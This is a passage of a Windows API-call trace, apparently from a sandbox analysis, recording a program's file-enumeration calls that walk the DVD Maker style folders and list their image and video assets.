nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_scrapbook_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0240.742] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0240.742] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_travel_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0240.742] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0240.742] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ResizingPanels", cAlternateFileName="RESIZI~1")) returned 1 [0240.742] GetProcessHeap () returned 0x560000 [0240.742] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0240.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0240.762] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.763] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0240.763] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0240.764] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0240.765] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0240.765] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.765] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.765] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.765] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.765] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.766] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.766] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0240.766] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0240.766] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0 [0240.766] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0240.768] GetProcessHeap () returned 0x560000 [0240.768] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0240.768] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0240.769] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0240.769] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0240.769] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0240.769] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0240.769] GetProcessHeap () returned 0x560000 [0240.770] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0240.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0240.774] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.774] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0240.775] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0240.775] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.775] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.775] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.775] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.775] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.776] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.776] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1 [0240.776] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0 [0240.776] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0240.778] GetProcessHeap () returned 0x560000 [0240.778] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0240.778] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1 [0240.778] GetProcessHeap () returned 0x560000 [0240.778] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0240.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0240.885] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.885] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0240.885] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0240.886] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0240.886] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0240.886] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, 